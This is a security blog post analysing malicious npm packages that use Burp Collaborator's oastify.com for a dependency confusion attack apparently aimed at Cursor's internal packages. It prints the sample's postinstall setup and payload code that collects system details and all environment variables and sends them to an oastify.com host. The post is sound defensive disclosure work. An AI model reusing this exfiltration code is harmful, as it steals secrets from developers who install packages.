· 2 min read
Malicious npm Packages using Burp Collaborator for Dependency Confusion Attack
Multiple npm packages impersonating popular package names were published to the npm registry including by a Snyk researcher apparently targeting internal packages at Cursor AI.
Recently a Hacker News discussion on Snyk security researcher deploys malicious NPM packages targeting cursor.com highlighted interesting insights related to using Burp Collaborator’s oastify.com
as Command and Control (C2) server for exfiltrating data. In this particular case, the researcher published multiple npm packages to the public npm registry apparently targeting internal packages at Cursor in a dependency confusion attack.
SafeDep Analysis
Our Malicious Package Scanner deployed to monitor npm
registry for malicious packages identified similar patterns in multiple packages published during the month of January 2025. In fact a simple query identified 50+ such packages.
Looking at a Sample
We took a closer look at one of the samples pkg:/npm/patternfly-v5/[email protected]
. The sample contained the following files:
-rw-r--r-- 1 dev wheel 1365 Oct 26 1985 index.js
-rw-r--r-- 1 dev wheel 283 Oct 26 1985 package.json
-rw-r--r-- 1 dev wheel 0 Oct 26 1985 patternfly-addons.css
-rw-r--r-- 1 dev wheel 0 Oct 26 1985 patternfly.min.css
The package.json
had a postinstall
script to execute the payload:
{
"name": "@patternfly-v5/patternfly",
"version": "1.0.2",
"description": "A package for testing supply chain attacks.",
"main": "index.js",
"scripts": {
"postinstall": "echo 'Patternfly malicious package executed!'"
},
"author": "Your Name",
"license": "MIT"
}
The payload was in index.js
and contained exfiltration logic such as
function sendData(path, data) {
const options = {
hostname: 'rzucd2dfiuz08dnqwkigu37xfolf95xu.oastify.com',
port: 443,
path: `/${path}`,
method: 'GET',
headers: {
'Content-Type': 'application/json'
}
};
const req = https.request(options, (res) => {
console.log(`Status: ${res.statusCode}`);
});
req.on('error', (error) => {
console.error(`Error: ${error.message}`);
});
req.write(JSON.stringify(data));
req.end();
}
Followed by system information gathering code
const systemInfo = {
hostname: os.hostname(),
platform: os.platform(),
arch: os.arch(),
release: os.release(),
userInfo: os.userInfo(),
networkInterfaces: os.networkInterfaces(),
env: process.env
};
Example Packages using oastify.com
for Exfiltration
Conclusion
All packages appeared to be similar in nature i.e. leveraged Burp Suite’s Collaborator service as a public endpoint for capturing exfiltrated data. We did not observe any sophistication or attempt to conceal malicious behavior. This potentially indicate red team activity or unsophisticated threat actor groups.